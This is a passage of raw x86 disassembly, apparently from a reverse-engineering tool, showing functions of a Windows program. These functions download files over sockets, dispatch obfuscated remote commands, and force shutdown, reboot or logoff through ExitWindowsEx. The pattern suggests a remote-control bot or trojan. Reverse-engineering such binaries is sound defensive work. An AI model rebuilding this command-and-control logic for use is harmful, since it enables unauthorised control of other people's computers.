call sub_13AB518 lea eax, [esp+84h+var_74] mov [esp+84h+var_74], esi push eax jmp loc_13C8328 ; --------------------------------------------------------------------------- loc_13C7F02: ; CODE XREF: sub_13C7C40+28Dj mov ecx, [esp+74h+var_60] push ecx call sub_13AC152 add esp, 4 jmp loc_13C818B ; --------------------------------------------------------------------------- loc_13C7F14: ; CODE XREF: sub_13C7C40+195j lea ecx, [esp+64h+var_18] call sub_13AB824 lea ecx, [esp+64h+var_48] mov [esp+64h+arg_1108], 3 call sub_13AB824 push ebp mov ecx, edi mov [esp+68h+arg_1108], 4 call sub_13ABBE4 push eax call sub_13ABE8C mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+64h+var_50], ebx jnz short loc_13C7F97 lea ecx, [esi+7Ah] call sub_13ABA81 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset dword_443F98 push edx push eax mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+74h+var_64] mov [esp+74h+var_64], esi push ecx mov ecx, offset byte_E2AAEB call sub_13AB60D push ebx call closesocket ; closesocket jmp loc_13C8055 ; --------------------------------------------------------------------------- loc_13C7F97: ; CODE XREF: sub_13C7C40+310j push ebp mov ecx, edi call sub_13ABBE4 push eax lea ecx, [esi+26h] call sub_13ABBE4 push eax lea edx, [esp+70h+var_18] push offset dword_443F34 push edx call sub_13AB42D add esp, 14h lea ecx, [esp+64h+var_18] push 0 call sub_13AB7D9 push eax lea ecx, [esp+6Ch+var_18] call sub_13ABBE4 push eax push ebx call send ; send lea edi, [esi+7Ah] mov ecx, edi call sub_13ABA81 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset dword_443F24 push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 push offset dword_443F20 lea ecx, [esi+65h] call sub_13ABBE4 push eax call fopen ; fopen mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_13C8090 mov ecx, edi call sub_13ABA81 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset dword_443F10 push edx push eax mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+94h+var_84] mov [esp+94h+var_84], esi push ecx mov ecx, offset byte_E2AAEB call sub_13AB60D loc_13C8055: ; CODE XREF: sub_13C7C40+352j lea ecx, [esp+98h+var_7C] mov byte ptr [esp+98h+arg_10D4], 3 call sub_13AB626 lea ecx, [esp+98h+var_4C] mov byte ptr [esp+98h+arg_10D4], 2 call sub_13AB626 lea ecx, [esp+98h+var_64] mov [esp+98h+arg_10D4], 0FFFFFFFFh call sub_13AB626 jmp loc_13C835B ; --------------------------------------------------------------------------- loc_13C8090: ; CODE XREF: sub_13C7C40+3DBj ; sub_13C7C40+484j ... mov eax, [esp+84h+var_70] push 0 lea edx, [esp+88h+arg_E0] push 1000h push edx push eax call recv ; recv mov ebp, eax test ebp, ebp jle short loc_13C8108 cmp ebp, 1000h jge short loc_13C80C0 mov [esp+ebp+94h+arg_D0], 0 loc_13C80C0: ; CODE XREF: sub_13C7C40+476j xor edi, edi test ebp, ebp jle short loc_13C8090 loc_13C80C6: ; CODE XREF: sub_13C7C40+4A5j push 4 lea ecx, [esp+edi+98h+arg_D0] push offset dword_443F08 push ecx call strncmp ; strncmp add esp, 0Ch test eax, eax jz short loc_13C80E9 inc edi cmp edi, ebp jl short loc_13C80C6 jmp short loc_13C8090 ; --------------------------------------------------------------------------- loc_13C80E9: ; CODE XREF: sub_13C7C40+4A0j add edi, 4 cmp edi, ebp jge short loc_13C8108 loc_13C80F0: ; CODE XREF: sub_13C7C40+4C6j movsx edx, [esp+edi+94h+arg_D0] push ebx push edx call fputc ; fputc add esp, 8 inc edi cmp edi, ebp jl short loc_13C80F0 loc_13C8108: ; CODE XREF: sub_13C7C40+46Ej ; sub_13C7C40+4AEj ... mov edi, [esp+94h+var_80] push 0 lea eax, [esp+98h+arg_D0] push 1000h push eax push edi call recv ; recv mov ebp, eax test ebp, ebp jle short loc_13C8158 cmp ebp, 1000h jge short loc_13C8138 mov [esp+ebp+0A4h+arg_C0], 0 loc_13C8138: ; CODE XREF: sub_13C7C40+4EEj xor edi, edi test ebp, ebp jle short loc_13C8108 loc_13C813E: ; CODE XREF: sub_13C7C40+514j movsx ecx, [esp+edi+0A4h+arg_C0] push ebx push ecx call fputc ; fputc add esp, 8 inc edi cmp edi, ebp jl short loc_13C813E jmp short loc_13C8108 ; --------------------------------------------------------------------------- loc_13C8158: ; CODE XREF: sub_13C7C40+4E6j push ebx call fclose ; fclose add esp, 4 push edi call closesocket ; closesocket lea ecx, [esp+0A8h+var_8C] mov [esp+0A8h+arg_10C4], 3 call sub_13AB626 lea ecx, [esp+0A8h+var_5C] mov [esp+0A8h+arg_10C4], 2 call sub_13AB626 loc_13C818B: ; CODE XREF: sub_13C7C40+2CFj mov al, [esi+90h] test al, al jnz loc_13C8227 lea ebp, [esi+65h] mov ecx, ebp call sub_13ABBE4 lea edi, [esi+7Ah] push eax push offset dword_443EF4 mov ecx, edi call sub_13ABA81 mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_E19CC5 call sub_13ABC48 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_13C831F push offset byte_446F80 mov ecx, ebp call sub_13ABBE4 push eax call sub_13AB699 add esp, 8 mov ecx, ebp call sub_13ABBE4 push eax push offset dword_443EE8 mov ecx, edi call sub_13ABA81 mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 18h jmp loc_13C831F ; --------------------------------------------------------------------------- loc_13C8227: ; CODE XREF: sub_13C7C40+553j lea ebx, [esi+65h] mov ecx, ebx call sub_13ABBE4 lea edi, [esi+7Ah] push eax push offset dword_443ED4 mov ecx, edi call sub_13ABA81 mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 18h lea edx, [esp+0A8h+var_8C] push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 51h push edx call sub_13ABDB5 add esp, 24h mov ecx, eax mov [esp+0A8h+arg_10C4], 5 call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB8D3 push eax call sub_13AC549 add esp, 8 lea ecx, [esp+0A8h+var_8C] mov bl, al mov [esp+0A8h+arg_10C4], 2 call sub_13AB626 test bl, bl jz short loc_13C82FA mov al, ds:byte_4478E6 test al, al jz short loc_13C82C9 push offset dword_447884 mov ecx, offset dword_448DC0 call sub_13AB847 loc_13C82C9: ; CODE XREF: sub_13C7C40+678j mov al, ds:byte_44792F test al, al jz short loc_13C82E1 push offset byte_44795F mov ecx, offset dword_448DC0 call sub_13ABD42 loc_13C82E1: ; CODE XREF: sub_13C7C40+690j mov ecx, offset dword_448DC0 call sub_13AC25B push 1 mov ds:byte_E2AA94, 0 call exit ; exit loc_13C82FA: ; CODE XREF: sub_13C7C40+66Fj mov ecx, edi call sub_13AB8D3 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset dword_4436FC push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 loc_13C831F: ; CODE XREF: sub_13C7C40+597j ; sub_13C7C40+5E2j mov [esp+0C4h+var_AC], esi lea edx, [esp+0C4h+var_AC] loc_13C8327: ; CODE XREF: sub_13C7C40+1E7j push edx loc_13C8328: ; CODE XREF: sub_13C7C40+23Ej ; sub_13C7C40+2BDj mov ecx, offset byte_E2AAEB call sub_13AB60D lea ecx, [esp+0C8h+var_94] mov [esp+0C8h+arg_10A4], 0FFFFFFFFh call sub_13AB626 jmp short loc_13C835B ; --------------------------------------------------------------------------- loc_13C8348: ; CODE XREF: sub_13C7C40+36j ; sub_13C7C40+4Dj ... mov [esp+20h+var_10], esi lea eax, [esp+20h+var_10] loc_13C8350: ; CODE XREF: sub_13C7C40+9Cj push eax mov ecx, offset byte_E2AAEB call sub_13AB60D loc_13C835B: ; CODE XREF: sub_13C7C40+44Bj ; sub_13C7C40+706j mov ecx, [esp+24h+arg_1140] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn sub_13C7C40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C8550 proc near ; CODE XREF: sub_13ABF90j var_54 = byte ptr -54h var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_30 = dword ptr -30h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43B148h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_13ABBE4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+4Ch+var_48] mov [esp+4Ch+var_10], 0FFFFFFFFh call sub_13AB626 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+78h+var_48] push 10h push edx call sub_13ABDB5 add esp, 34h push esi mov ecx, eax mov [esp+50h+var_10], 1 call sub_13ABBE4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+58h+var_54] mov [esp+58h+var_1C], 0FFFFFFFFh call sub_13AB626 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+7Ch+var_3C] push 10h push ecx call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+5Ch+var_1C], 2 call sub_13ABBE4 add esi, 60h push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+64h+var_48] mov [esp+64h+var_28], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+64h+var_30] pop esi mov large fs:0, ecx add esp, 3Ch retn sub_13C8550 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C86D0 proc near ; CODE XREF: sub_13AB4B4j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz short loc_13C872B push offset dword_44400C lea ecx, [edi+69h] call sub_13ABA81 mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 14h push 0 push 6 call ExitWindowsEx ; ExitWindowsEx pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_13C872B: ; CODE XREF: sub_13C86D0+1Ej lea ecx, [esi+32h] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz short loc_13C877A push offset dword_444000 lea ecx, [edi+69h] call sub_13ABA81 mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_E19CC5 call sub_13ABC48 add esp, 14h push 0 push 5 call ExitWindowsEx ; ExitWindowsEx pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_13C877A: ; CODE XREF: sub_13C86D0+6Dj lea ecx, [esi+60h] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz short loc_13C87C1 push offset dword_443FF0 lea ecx, [edi+69h] call sub_13ABA81 mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 14h push 0 push 4 call ExitWindowsEx ; ExitWindowsEx loc_13C87C1: ; CODE XREF: sub_13C86D0+BCj pop edi pop esi xor al, al pop ebx retn 4 sub_13C86D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C8810 proc near ; CODE XREF: sub_13AC35Fj var_6C = byte ptr -6Ch var_60 = byte ptr -60h var_54 = byte ptr -54h var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43B188h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_13ABDB5 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_13ABBE4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 or edi, 0FFFFFFFFh lea ecx, [esp+50h+var_48] mov [esp+50h+var_10], edi call sub_13AB626 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+78h+var_48] push 10h push edx call sub_13ABDB5 add esp, 30h push esi mov ecx, eax mov [esp+54h+var_10], 1 call sub_13ABBE4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+5Ch+var_54] mov [esp+5Ch+var_1C], edi call sub_13AB626 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+90h+var_54] push 10h push ecx call sub_13ABDB5 add esp, 3Ch mov [esp+5Ch+var_1C], 2 push esi mov ecx, eax call sub_13ABBE4 lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+68h+var_60] mov [esp+68h+var_28], edi call sub_13AB626 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+9Ch+var_60] push 10h push eax call sub_13ABDB5 add esp, 3Ch push esi mov ecx, eax mov [esp+6Ch+var_28], 3 call sub_13ABBE4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+74h+var_6C] mov [esp+74h+var_34], edi call sub_13AB626 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+0A8h+var_54] push 10h push edx call sub_13ABDB5 add esp, 3Ch push esi mov ecx, eax mov [esp+78h+var_34], 4 call sub_13ABBE4 add esi, 60h push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+80h+var_60] mov [esp+80h+var_40], edi call sub_13AB626 mov ecx, [esp+80h+var_48] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn sub_13C8810 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C8A70 proc near ; CODE XREF: sub_13ABA13j var_84 = byte ptr -84h var_80 = byte ptr -80h var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_64 = byte ptr -64h var_60 = byte ptr -60h var_5C = byte ptr -5Ch var_58 = byte ptr -58h var_54 = byte ptr -54h var_50 = byte ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_44 = byte ptr -44h var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 43B200h push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13C8C0A lea eax, [esp+64h] lea ecx, [esp+64h+var_4C] push eax call sub_13ABCD9 lea ecx, [esp+68h+var_50] mov [esp+68h+var_C], 0 push ecx call sub_13AB5D6 add esp, 4 test al, al jz loc_13C8BF2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+94h+var_44] push 79h push edx call sub_13ABDB5 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+68h+var_C], 1 mov ecx, ebx call sub_13AB8D3 push eax mov ecx, edi call sub_13ABA81 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+78h+var_54] mov byte ptr [esp+78h+var_1C], 0 call sub_13AB626 lea ecx, [esp+78h+var_68] call sub_13ABB03 lea edx, [esp+78h+var_64] lea ecx, [esp+78h+var_60] push edx xor edi, edi call sub_13AB8D8 mov eax, [eax] lea ecx, [esp+7Ch+var_68] push ecx lea ecx, [esp+80h+var_64] mov [esp+80h+var_6C], eax call sub_13ABD6F push eax lea ecx, [esp+84h+var_70] call sub_13ABC02 test al, al jz short loc_13C8BF2 mov ebp, Sleep loc_13C8B7E: ; CODE XREF: sub_13C8A70+180j lea ecx, [esp+84h+var_74] inc edi call sub_13AB62B mov ecx, eax call sub_13ABBE4 push eax lea ecx, [esp+88h+var_74] call sub_13AB62B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset dword_444044 call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 20h push 5DCh call ebp ; Sleep lea ecx, [esp+88h+var_78] call sub_13AB47D lea edx, [esp+88h+var_74] lea ecx, [esp+88h+var_70] push edx call sub_13ABD6F push eax lea ecx, [esp+90h+var_7C] call sub_13ABC02 test al, al jnz short loc_13C8B7E loc_13C8BF2: ; CODE XREF: sub_13C8A70+62j ; sub_13C8A70+106j lea ecx, [esp+90h+var_78] mov [esp+90h+var_34], 0FFFFFFFFh call sub_13ABC16 mov al, 1 jmp loc_13C9027 ; --------------------------------------------------------------------------- loc_13C8C0A: ; CODE XREF: sub_13C8A70+37j lea ecx, [edi+32h] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13C8CFE push offset dword_443600 lea eax, [esp+6Ch+var_44] push 1 push eax mov ecx, esi call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+78h+var_18], 2 call sub_13AB6EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+78h+var_54] mov [esp+78h+var_1C], edi call sub_13AB626 test bl, bl jnz loc_13C9025 push offset dword_443600 lea ecx, [esp+7Ch+var_54] push 1 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+84h+var_28], 3 call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+84h+var_60] mov [esp+84h+var_28], edi call sub_13AB626 push offset dword_443600 lea edx, [esp+88h+var_60] push 1 push edx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+90h+var_34], 4 call sub_13AB8D3 push eax push offset dword_44403C lea ecx, [esi+69h] call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 18h lea ecx, [esp+90h+var_6C] mov [esp+90h+var_34], edi call sub_13AB626 mov al, 1 jmp loc_13C9027 ; --------------------------------------------------------------------------- loc_13C8CFE: ; CODE XREF: sub_13C8A70+1ACj lea ecx, [edi+8Eh] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13C8E65 lea edx, [esp+6Ch+var_8] lea ecx, [esp+6Ch+var_54] push edx call sub_13ABAE0 lea eax, [esp+70h+var_58] mov ebx, 5 push eax mov [esp+74h+var_14], ebx call sub_13AC544 add esp, 4 test al, al jz loc_13C8E4D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+98h+var_4C] push 3Dh push ecx call sub_13ABDB5 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+70h+var_14], 6 mov ecx, ebp call sub_13AB8D3 push eax mov ecx, edi call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+80h+var_5C] mov byte ptr [esp+80h+var_24], bl call sub_13AB626 lea ecx, [esp+80h+var_70] call sub_13ABF40 lea ecx, [esp+80h+var_6C] xor edi, edi push ecx lea ecx, [esp+84h+var_68] call sub_13AB85B mov edx, [eax] lea eax, [esp+84h+var_70] push eax lea ecx, [esp+88h+var_6C] mov [esp+88h+var_74], edx call sub_13AB7ED push eax lea ecx, [esp+8Ch+var_78] call sub_13AB6BC test al, al jz short loc_13C8E4D mov ebx, Sleep loc_13C8DE6: ; CODE XREF: sub_13C8A70+3DBj lea ecx, [esp+8Ch+var_7C] inc edi call sub_13AB455 mov ecx, eax call sub_13ABBE4 push eax push edi push offset dword_444030 mov ecx, ebp call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 1Ch push 5DCh call ebx ; Sleep lea ecx, [esp+90h+var_80] call sub_13ABC2A lea eax, [esp+90h+var_7C] lea ecx, [esp+90h+var_78] push eax call sub_13AB7ED push eax lea ecx, [esp+98h+var_84] call sub_13AB6BC test al, al jnz short loc_13C8DE6 loc_13C8E4D: ; CODE XREF: sub_13C8A70+2CFj ; sub_13C8A70+36Ej lea ecx, [esp+98h+var_80] mov [esp+98h+var_3C], 0FFFFFFFFh call sub_13AB653 mov al, 1 jmp loc_13C9027 ; --------------------------------------------------------------------------- loc_13C8E65: ; CODE XREF: sub_13C8A70+2A3j lea ecx, [edi+0BCh] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13C8F5C push offset dword_443600 lea ecx, [esp+74h+var_4C] push 1 push ecx mov ecx, esi call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+80h+var_20], 7 call sub_13AB6EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+80h+var_5C] mov [esp+80h+var_24], edi call sub_13AB626 test bl, bl jnz loc_13C9025 push offset dword_443600 lea edx, [esp+84h+var_5C] push 1 push edx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+8Ch+var_30], 8 call sub_13ABBE4 push eax call sub_13ABDFB add esp, 4 lea ecx, [esp+8Ch+var_68] mov [esp+8Ch+var_30], edi call sub_13AB626 push offset dword_443600 lea eax, [esp+90h+var_68] push 1 push eax mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+98h+var_3C], 9 call sub_13AB8D3 push eax push offset dword_444028 lea ecx, [esi+69h] call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 18h lea ecx, [esp+98h+var_74] mov [esp+98h+var_3C], edi call sub_13AB626 mov al, 1 jmp loc_13C9027 ; --------------------------------------------------------------------------- loc_13C8F5C: ; CODE XREF: sub_13C8A70+40Aj lea ecx, [edi+60h] call sub_13ABBE4 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13C9025 push offset dword_443600 lea eax, [esp+78h+var_50] push 1 push eax mov ecx, esi call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+84h+var_24], 0Ah call sub_13AB6EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+84h+var_60] mov [esp+84h+var_28], edi call sub_13AB626 test bl, bl jnz short loc_13C9025 push offset dword_443600 lea ecx, [esp+88h+var_48] push 1 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+90h+var_34], 0Bh call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+90h+var_54] mov ebx, eax mov [esp+90h+var_34], edi call sub_13AB626 test ebx, ebx jz short loc_13C9025 push ebx push offset dword_44401C lea ecx, [esi+69h] call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_E19CC5 call sub_13ABC48 push ebx call sub_13ABCA7 add esp, 1Ch jmp short loc_13C9027 ; --------------------------------------------------------------------------- loc_13C9025: ; CODE XREF: sub_13C8A70+1F0j ; sub_13C8A70+44Ej ... xor al, al loc_13C9027: ; CODE XREF: sub_13C8A70+195j ; sub_13C8A70+289j ... mov ecx, [esp+78h+var_24] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_13C8A70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13C91C0 proc near ; CODE XREF: sub_13AC3E6j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_13C91C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, Sleep mov [ebp+var_10], esp mov esi, ecx mov [ebp+var_4], 0 loc_13C91F0: ; CODE XREF: sub_13C91C0+41j mov al, [esi+0ABh] test al, al jnz short loc_13C9203 push 3E8h call edi ; Sleep jmp short loc_13C91F0 ; --------------------------------------------------------------------------- loc_13C9203: ; CODE XREF: sub_13C91C0+38j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_4472C7 call sub_13ABE32 lea edx, [ebp+var_14] mov ecx, offset byte_E2AAEB push edx mov [ebp+var_14], esi call sub_13AB60D mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_13C91C0 endp ; --------------------------------------------------------------------------- mov eax, 41EE29h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C9280 proc near ; CODE XREF: sub_13AC1E3j var_C = byte ptr -0Ch arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_13AC3BE mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_13AC3BE mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_13AC3BE mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_13AC3BE mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_13AC3BE mov al, [esp+18h+var_C] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_13C9280 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C9340 proc near ; CODE XREF: sub_13AC4A9j var_140 = dword ptr -140h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_F8 = byte ptr -0F8h var_EC = dword ptr -0ECh var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_CC = dword ptr -0CCh var_C8 = byte ptr -0C8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B0 = dword ptr -0B0h var_AC = byte ptr -0ACh var_A8 = byte ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = byte ptr -88h var_7C = byte ptr -7Ch var_70 = byte ptr -70h var_64 = byte ptr -64h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_10 = byte ptr 14h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_28 = byte ptr 2Ch arg_44 = byte ptr 48h arg_4C = byte ptr 50h arg_58 = byte ptr 5Ch arg_80 = byte ptr 84h arg_B4 = byte ptr 0B8h arg_F0 = byte ptr 0F4h arg_11C = byte ptr 120h arg_12C = byte ptr 130h arg_13C = byte ptr 140h arg_14C = byte ptr 150h arg_8A4 = byte ptr 8A8h arg_1864 = dword ptr 1868h arg_1874 = dword ptr 1878h arg_18CC = byte ptr 18D0h arg_18D8 = byte ptr 18DCh arg_18E4 = byte ptr 18E8h arg_18F0 = byte ptr 18F4h arg_18FC = byte ptr 1900h arg_1908 = byte ptr 190Ch arg_1914 = byte ptr 1918h arg_1920 = byte ptr 1924h arg_1968 = byte ptr 196Ch arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push 43B2AEh push eax mov eax, 19B4h mov large fs:0, esp call near ptr 13E0C60h push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov 